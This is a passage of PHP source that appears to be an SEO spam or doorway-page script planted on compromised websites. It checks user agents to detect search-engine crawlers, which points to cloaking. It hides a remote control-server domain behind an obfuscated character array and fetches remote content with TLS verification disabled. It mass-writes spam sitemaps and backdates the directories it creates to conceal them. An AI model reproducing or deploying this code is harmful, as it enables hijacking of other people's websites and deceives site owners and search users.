$tempIdStr, $matchId)) { return $matchId[1]; } } http_response_code(404); exit; } function getRandId() { $num = rand(1, FNUM); $num = $num - 1; require FILEDIRNAME . "/id{$num}.php"; $indexId = array_rand($arrId, 1); $id = $arrId[$indexId]; unset($arrId); return $id; } function get_arrvs($arr, $num, $nowkey) { $numArr = count($arr); if ($nowkey + $num < $numArr) { return $arr[$nowkey + $num]; } else { if ($nowkey + $num - $numArr - $numArr > 0) { return get_arrvs($arr, $num - $numArr, $nowkey); } else { return $arr[abs($nowkey + $num - $numArr)]; } } } function get_pre_link($arr, $key) { $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if ($key + JGNUM + 1 + LINKNUM >= $num) { if ($key + JGNUM + 1 - $num > LINKNUM) { return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); } else { $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu); return array_merge($tmpA1, $tmpA2); } } else { return array_slice($arr, $key + JGNUM + 1, LINKNUM); } } function get_next_link($arr, $key) { $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if ($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0) { $duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num - $duoyu - 1, $duoyu); return array_merge($tmpA1, $tmpA2); } else { return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); } } function rFile($file) { if (function_exists('file_get_contents')) { return file_get_contents($file); } else { $handle = fopen($file, "r"); $contents = fread($handle, filesize($file)); fclose($handle); return $contents; } } function isCrawler() { $agent = @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { $spiderSite = array("Googlebot", "Mediapartners-Google", "Adsbot-Google", "Yahoo!", "Google AdSense", "Yahoo Slurp", "bingbot", "MSNBot"); foreach ($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str) !== false) { return true; } } } else { return false; } } function gsitemap2($filenames, $c = 1, $jdt = 1) { global $gnumber, $arrArrr; $arrABC = range('a', 'z'); $tparrsI = $filenames; $randnum = rand(7000, 7600); $tparrII = array_rand($tparrsI, $randnum); $tparrIII = array(); foreach ($tparrII as $vs) { $tparrIII[$vs] = $filenames[$vs]; } $filenames = $tparrIII; $filePres = ''; $fileEnds = ''; $dirNames = dirname(__FILE__); $httcReplace = end(explode(DIRECTORY_SEPARATOR, $dirNames)); if (JDT == 2) { $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; } elseif (JDT == 1) { $filePres = $httcReplace . "/"; } elseif (JDT == 3) { $filePres = $httcReplace . "/" . basename(__FILE__) . "?key="; } else { $filePres = ''; } if (JDT == 3) { $fileEnds = ''; } else { $fileEnds = JTHZ; } $fpath = get_scheme() . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $serpath = substr($fpath, 0, strrpos($fpath, '/')); $siteLink = get_scheme() . '://' . $_SERVER['HTTP_HOST']; $mapPre = '<' . '?xml version="1.0" encoding="UTF-8" ?' . '>' . PHP_EOL . '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; $star = 0; $priority = 0.1; $starPri = 0; $gFile = ""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = ""; $tempArr1 = $filenames; foreach ($tempArr1 as $key => $value2) { $curphp = basename(__FILE__); $value = $value2; $first = stristr($value, ".php"); $last = stristr($value, ".xml"); $checkTxt = stristr($value, ".txt"); $tempPid = $key; $url = getalink($tempPid, $value2); if (JDT == 0) { if ($first === false && $last === false && $checkTxt === false) { $date = date("Y-m-d"); $time = date("H:i:s"); if ($star % 12000 == 11999) { $gFile = '../mapper/write' . $arrABC[$gnumber - 2] . 'map' . '.xml'; echo '<br/>' . $gFile . '<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile, $put_str); file_put_contents("./map.log", '#write' . $arrABC[$gnumber - 2] . 'map' . '.xml#' . PHP_EOL, FILE_APPEND); $str = ''; $gnumber++; return; } $str .= " <url>\r\n\t\t\t <loc>" . $url . "</loc> \r\n\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod> \r\n\t\t\t <changefreq>daily</changefreq> \r\n\t\t\t <priority>0.1</priority> \r\n\t\t\t </url>\r\n\t\t"; $star++; $starPri++; } } else { if ($first === false && $last === false && $checkTxt === false) { $date = date("Y-m-d"); $time = date("H:i:s"); if ($star % 12000 == 11999) { $gFile = '../mapper/write' . $arrABC[$gnumber - 1] . 'map' . '.xml'; echo '<br/>' . $gFile . '<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile, $put_str); file_put_contents("./map.log", '#write' . $arrABC[$gnumber - 1] . 'map' . '.xml#' . PHP_EOL, FILE_APPEND); $str = ''; $gnumber++; return; } $str .= " <url>\r\n\t\t\t <loc>" . $url . "</loc> \r\n\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod> \r\n\t\t\t <changefreq>daily</changefreq> \r\n\t\t\t <priority>0.1</priority> \r\n\t\t\t </url>\r\n\t\t"; $star++; $starPri++; } } } if (JDT == 0) { $gFile = '../mapper/write' . $arrABC[$gnumber - 2] . 'map' . '.xml'; echo '<br/>' . $gFile . '<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile, $put_str); file_put_contents("./map.log", '#write' . $arrABC[$gnumber - 2] . 'map' . '.xml#' . PHP_EOL, FILE_APPEND); $gnumber++; } else { $gFile = '../mapper/write' . $arrABC[$gnumber - 1] . 'map' . '.xml'; echo '<br/>' . $gFile . '<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile, $put_str); file_put_contents("./map.log", '#write' . $arrABC[$gnumber - 1] . 'map' . '.xml#' . PHP_EOL, FILE_APPEND); $gnumber++; } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function gsitemap($filenames, $c = 1, $jdt = 1) { global $gnumber, $arrArrr; $arrABC = range('a', 'z'); $tparrsI = $filenames; $randnum = rand(7000, 7600); $tparrII = array_rand($tparrsI, $randnum); $tparrIII = array(); foreach ($tparrII as $vs) { $tparrIII[$vs] = $filenames[$vs]; } $filenames = $tparrIII; $filePres = ''; $fileEnds = ''; $fpath = get_scheme() . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $serpath = substr($fpath, 0, strrpos($fpath, '/')); $siteLink = get_scheme() . '://' . $_SERVER['HTTP_HOST']; $mapPre = '<' . '?xml version="1.0" encoding="UTF-8" ?' . '>' . PHP_EOL . '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; $star = 0; $priority = 0.9; $starPri = 0; $gFile = ""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = " <url>\r\n\t\t\t <loc>" . $siteLink . "</loc> \r\n\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod> \r\n\t\t\t <changefreq>always</changefreq> \r\n\t\t\t <priority>1.0</priority> \r\n\t\t\t </url>\r\n\t\t"; $tempArr1 = $filenames; foreach ($tempArr1 as $key => $value2) { $curphp = basename(__FILE__); $value = $value2; $first = stristr($value, ".php"); $last = stristr($value, ".xml"); $checkTxt = stristr($value, ".txt"); $tempPid = $key; $url = getalink($tempPid, $value2); if (JDT == 0) { if ($first === false && $last === false && $checkTxt === false) { $date = date("Y-m-d"); $time = date("H:i:s"); if ($star % 12000 == 11999) { $gFile = '../mapper/writemap.xml'; echo '<br/>' . $gFile . '<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile, $put_str); file_put_contents("./map.log", 'writemap.xml' . PHP_EOL, FILE_APPEND); $str = ''; $gnumber++; return; } if ($starPri >= 400 && $priority != 0.1) { $starPri = 0; $priority = $priority - 0.1; } if ($priority > 0.1) { $str .= " <url>\r\n\t\t\t\t\t <loc>" . $url . "</loc> \r\n\t\t\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod> \r\n\t\t\t\t\t <changefreq>daily</changefreq> \r\n\t\t\t\t\t <priority>" . $priority . "</priority> \r\n\t\t\t\t\t </url>\r\n\t\t\t\t"; } else { $str .= " <url>\r\n\t\t\t <loc>" . $url . "</loc> \r\n\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod> \r\n\t\t\t <changefreq>daily</changefreq> \r\n\t\t\t <priority>0.1</priority> \r\n\t\t\t </url>\r\n\t\t"; } $star++; $starPri++; } } else { if ($first === false && $last === false && $checkTxt === false) { $date = date("Y-m-d"); $time = date("H:i:s"); if ($star % 12000 == 11999) { $gFile = '../mapper/write' . $arrABC[$gnumber - 1] . 'map' . '.xml'; echo '<br/>' . $gFile . '<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile, $put_str); file_put_contents("./map.log", '#write' . $arrABC[$gnumber - 1] . 'map' . '.xml#' . PHP_EOL, FILE_APPEND); $str = ''; $gnumber++; return; } if ($starPri >= 400 && $priority != 0.1) { $starPri = 0; $priority = $priority - 0.1; } if ($priority > 0.1) { $str .= " <url>\r\n\t\t\t\t\t <loc>" . $url . "</loc> \r\n\t\t\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod> \r\n\t\t\t\t\t <changefreq>daily</changefreq> \r\n\t\t\t\t\t <priority>" . $priority . "</priority> \r\n\t\t\t\t\t </url>\r\n\t\t\t\t"; } else { $str .= " <url>\r\n\t\t\t <loc>" . $url . "</loc> \r\n\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod> \r\n\t\t\t <changefreq>daily</changefreq> \r\n\t\t\t <priority>0.1</priority> \r\n\t\t\t </url>\r\n\t\t"; } $star++; $starPri++; } } } if (JDT == 0) { $gFile = '../mapper/writemap.xml'; echo '<br/>' . $gFile . '<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile, $put_str); file_put_contents("./map.log", 'writemap.xml' . PHP_EOL, FILE_APPEND); $gnumber++; } else { $gFile = '../mapper/write' . $arrABC[$gnumber - 1] . 'map' . '.xml'; echo '<br/>' . $gFile . '<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile, $put_str); file_put_contents("./map.log", '#write' . $arrABC[$gnumber - 1] . 'map' . '.xml#' . PHP_EOL, FILE_APPEND); $gnumber++; } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function curl_get_from_webpage($url, $proxy = '', $loop = 10) { $data = false; $i = 0; while (!$data) { $data = curlGetOne($url, $proxy); if ($i++ >= $loop) { break; } } return $data; } function curl_getjs_from_webpage($url, $time) { if (function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")) { $curl = curl_init(); $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; curl_setopt($curl, CURLOPT_URL, $url); if (stristr($url, "https:")) { curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => $time, CURLOPT_USERAGENT => $user_agent, CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0)); } else { curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_TIMEOUT, $time); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); } $data = curl_exec($curl); curl_close($curl); } else { $is_auf = ini_get('allow_url_fopen') && function_exists("file_get_contents") ? true : false; if ($is_auf) { $data = file_get_contents($url); } } if (!$data) { return false; } return $data; } function curlGetOne($url, $proxy = '') { if (function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")) { $curl = curl_init(); $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; if (strlen($proxy) > 8) { curl_setopt($curl, CURLOPT_PROXY, $proxy); } curl_setopt($curl, CURLOPT_URL, $url); if (stristr($url, "https:")) { curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1, CURLOPT_USERAGENT => $user_agent, CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0)); } else { curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); } $data = curl_exec($curl); curl_close($curl); } else { $is_auf = ini_get('allow_url_fopen') && function_exists("file_get_contents") ? true : false; if ($is_auf) { $data = file_get_contents($url); } } if (!$data) { return false; } return $data; } function my_mkdir($dir) { global $fitime; if (!is_dir($dir)) { mkdir($dir); @touch($dir, $fitime, $fitime); } } function generate_dir_file($gDir = '') { global $hostDir; $gDir = str_replace('/', DIRECTORY_SEPARATOR, $gDir); $gDir = str_replace('\\', DIRECTORY_SEPARATOR, $gDir); $arr = explode(DIRECTORY_SEPARATOR, $gDir); if (count($arr) <= 0) { return; } if (!strstr($gDir, $hostDir)) { $dir = $hostDir; } else { $dir = ''; } for ($i = 0; $i < count($arr) - 1; $i++) { $dir .= DIRECTORY_SEPARATOR . $arr[$i]; my_mkdir($dir); } return $dir; } function strFilter($str) { $str = str_replace('`', '', $str); $str = str_replace('·', '', $str); $str = str_replace('~', '', $str); $str = str_replace('!', '', $str); $str = str_replace('!', '', $str); $str = str_replace('@', '', $str); $str = str_replace('#', '', $str); $str = str_replace('$', '', $str); $str = str_replace('¥', '', $str); $str = str_replace('%', '', $str); $str = str_replace('^', '', $str); $str = str_replace('……', '', $str); $str = str_replace('*', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('-', '', $str); $str = str_replace('_', '', $str); $str = str_replace('——', '', $str); $str = str_replace('+', '', $str); $str = str_replace('=', '', $str); $str = str_replace('|', '', $str); $str = str_replace('\\', '', $str); $str = str_replace('[', '', $str); $str = str_replace(']', '', $str); $str = str_replace('【', '', $str); $str = str_replace('】', '', $str); $str = str_replace('{', '', $str); $str = str_replace('}', '', $str); $str = str_replace(';', '', $str); $str = str_replace(':', '', $str); $str = str_replace('<', '', $str); $str = str_replace('>', '', $str); $str = str_replace(':', '', $str); $str = str_replace('\'', '', $str); $str = str_replace('"', '', $str); $str = str_replace(',', '', $str); $str = str_replace(',', '', $str); $str = str_replace('《', '', $str); $str = str_replace('》', '', $str); $str = str_replace('.', '', $str); $str = str_replace('。', '', $str); $str = str_replace('–', '', $str); $str = str_replace('–', '', $str); $str = str_replace('/', '', $str); $str = str_replace('、', '', $str); $str = str_replace('?', '', $str); $str = str_replace('?', '', $str); $str = str_replace('°', '', $str); $str = str_replace('&', '&amp;', $str); return trim($str); } function getalink($pid, $pname = '') { global $arrnametime, $arrKeywz, $arr_word, $date_string; if (strstr($pname, '#cat#')) { $tp_pname_arr = explode('#cat#', $pname); $pname = $tp_pname_arr[1]; $strCat = $tp_pname_arr[0]; $tparr = explode('_-_', $strCat); if (count($tparr) > 1) { $precat = $tparr[0]; $lastcat = $tparr[1]; } else { $precat = $tparr[0]; $lastcat = ''; } } if (function_exists("preg_split")) { $tpnameArr = preg_split('/\\s+/us', $pname); } else { $tpnameArr = explode(' ', $pname); } $pnameArr = array(); foreach ($tpnameArr as $tpvs) { $tpvs = trim($tpvs); if ($tpvs) { $pnameArr[] = $tpvs; } } $numPname = count($pnameArr); if ($numPname > 3) { $numLinkKey = round(PNAMELEN * $numPname / 100); $yushu = KEYJG % $numPname; $arrPre = array(); $arrLast = array(); for ($i = 0; $i < $numPname; $i++) { if ($i < $yushu) { $arrLast[] = $pnameArr[$i]; } else { $arrPre[] = $pnameArr[$i]; } } if (count($arrLast)) { foreach ($arrLast as $vs) { $arrPre[] = $vs; } } $usedNameArr = array(); for ($i = 0; $i < $numLinkKey; $i++) { $usedNameArr[$i] = $arrPre[$i]; } if (count($usedNameArr)) { $pname = implode(' ', $usedNameArr); } } if (JDT == 0) { $precat = strFilter($precat); $precat = preg_replace('/\\s+/', '-', $precat); $lastcat = strFilter($lastcat); $lastcat = preg_replace('/\\s+/', '-', $lastcat); } $pname = strFilter($pname); $filePres = ''; $fileEnds = ''; $siteLink = get_scheme() . '://' . $_SERVER['HTTP_HOST']; $dirNames = dirname(__FILE__); $httcReplace = end(explode(DIRECTORY_SEPARATOR, $dirNames)); if (JDT == 2) { $filePres = $siteLink . "/" . $httcReplace . "/" . basename(__FILE__) . "/"; } elseif (JDT == 1) { $filePres = $siteLink . "/" . $httcReplace . "/"; } elseif (JDT == 3) { $filePres = $siteLink . "/" . $httcReplace . "/" . basename(__FILE__) . "?keyword="; } else { $filePres = $siteLink . "/"; } $rsp = '#' . BZPRO . '\\d+#'; $rsp2 = '#\\d+-#'; $rsp3 = '#-\\d+#'; $pname = trim($pname); $pname = trim(str_replace('>>', ' ', $pname)); $pname = preg_replace('/\\s+/', '-', $pname); if (JDT == 3) { $rs = '#&[^;]+;#i'; $pname = preg_replace($rs, '', $pname); while (strstr($pname, '&')) { $pname = str_replace('&', '', $pname); } while (strstr($pname, '--')) { $pname = str_replace('--', '-', $pname); } $urlMid = $pname . '-' . $pid; $rtStr = $filePres . $urlMid; $rtStr = str_replace($filePres . '-', $filePres, $rtStr); return $rtStr; } $tpNum = KEYJG * $pid; $tpKey = $tpNum % count($date_string); $tpKeyStr = (KEYJG + $pid) % strlen($date_string[$tpKey]); $nums = (KEYJG + $pid) % 2 ? 5 : 6; $randStr = ''; for ($i = 0; $i < $nums; $i++) { $tpstr = $date_string[$tpKey]; $randStr .= $tpstr[$tpKeyStr]; $tpKey = ($tpKey + 1) % count($date_string); } if (strlen($pname) > 235) { $rs = '#&[^;]+;#i'; $pname = preg_replace($rs, '', $pname); $pname = str_replace('&', '', $pname); $pname = str_replace('&', ';', $pname); if (function_exists("mb_substr")) { $pname = mb_substr($pname, 0, 235, 'utf-8'); } else { $pname = substr($pname, 0, 235); } } $precat = preg_replace($rsp, '', $precat); $precat = preg_replace($rsp2, '-', $precat); $precat = preg_replace($rsp3, '-', $precat); $precat = str_replace('&', '', $precat); $precat = str_replace('>>', ' ', $precat); $precat = str_replace('&', ';', $precat); $precat = preg_replace('/\\s+/', '-', $precat); $lastcat = preg_replace($rsp, '', $lastcat); $lastcat = preg_replace($rsp2, '-', $lastcat); $lastcat = preg_replace($rsp3, '-', $lastcat); $lastcat = str_replace('&', '', $lastcat); $lastcat = str_replace('>>', ' ', $lastcat); $lastcat = str_replace('&', ';', $lastcat); $lastcat = preg_replace('/\\s+/', '-', $lastcat); $pname = preg_replace($rsp, '', $pname); $pname = preg_replace($rsp2, '-', $pname); $pname = preg_replace($rsp3, '-', $pname); if (JDT == 0) { $urlMid = $precat . '-' . $pname . '-' . $pid . '-' . $lastcat; } else { $urlMid = $precat . '-' . $pname . '-' . $pid . '-' . $lastcat; } $urlMid .= JTHZ; $urlMid = str_replace("-/", "/", $urlMid); $urlMid = str_replace("-" . JTHZ, JTHZ, $urlMid); while (strstr($urlMid, '--')) { $urlMid = str_replace('--', '-', $urlMid); } $rtStr = $filePres . $urlMid; $rtStr = str_replace($filePres . '-', $filePres, $rtStr); $rtStr = str_replace('-amp;-', '-&amp;-', $rtStr); return $rtStr; } function is_ip($localIp, $ipRanges) { $localIp = ip2long($localIp); foreach ($ipRanges as $val) { $ipmin = sprintf("%u", ip2long($val[0])); $ipmax = sprintf("%u", ip2long($val[1])); if ($localIp >= $ipmin && $localIp <= $ipmax) { return true; } } return false; } function RandAbcs($length = "") { $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-"; return $str; } function getarr() { global $O00O0O; $arr[0] = $O00O0O[23] . $O00O0O[2] . $O00O0O[7] . $O00O0O[0] . $O00O0O[11] . $O00O0O[0] . $O00O0O[17] . $O00O0O[0] . $O00O0O[18] . $O00O0O[0] . $O00O0O[63] . $O00O0O[2] . $O00O0O[14] . $O00O0O[12]; $arr[1] = $O00O0O[0] . $O00O0O[0] . $O00O0O[15] . $O00O0O[10] . $O00O0O[0] . $O00O0O[0] . $O00O0O[19] . $O00O0O[12] . $O00O0O[17] . $O00O0O[63] . $O00O0O[2] . $O00O0O[14] . $O00O0O[12]; $arr[2] = $O00O0O[17] . $O00O0O[14] . $O00O0O[19] . $O00O0O[4] . $O00O0O[2] . $O00O0O[15] . $O00O0O[20] . $O00O0O[12] . $O00O0O[15] . $O00O0O[18] . $O00O0O[20] . $O00O0O[63] . $O00O0O[2] . $O00O0O[14] . $O00O0O[12]; $arr[3] = $O00O0O[22] . $O00O0O[8] . $O00O0O[19] . $O00O0O[7] . $O00O0O[25] . $O00O0O[0] . $O00O0O[8] . $O00O0O[13] . $O00O0O[3] . $O00O0O[63] . $O00O0O[2] . $O00O0O[14] . $O00O0O[12]; $arr[4] = $O00O0O[10] . $O00O0O[0] . $O00O0O[11] . $O00O0O[4] . $O00O0O[13] . $O00O0O[0] . $O00O0O[18] . $O00O0O[1] . $O00O0O[11] . $O00O0O[14] . $O00O0O[6] . $O00O0O[63] . $O00O0O[2] . $O00O0O[14] . $O00O0O[12]; return $arr; } function getthisdom() { $myArrs = getarr(); return 'http://www.' . $myArrs[CENTERKEY] . MYDIR; } function get_real_ip() { $ip = ''; if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) { $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $ip = $_SERVER['HTTP_FORWARDED']; } else { $ip = $_SERVER['REMOTE_ADDR']; } } if (trim($ip) == '') { if (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } else { $ip = getenv('REMOTE_ADDR'); } } $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip); if (trim($ip) == '') { $ip = '.'; } return $ip; }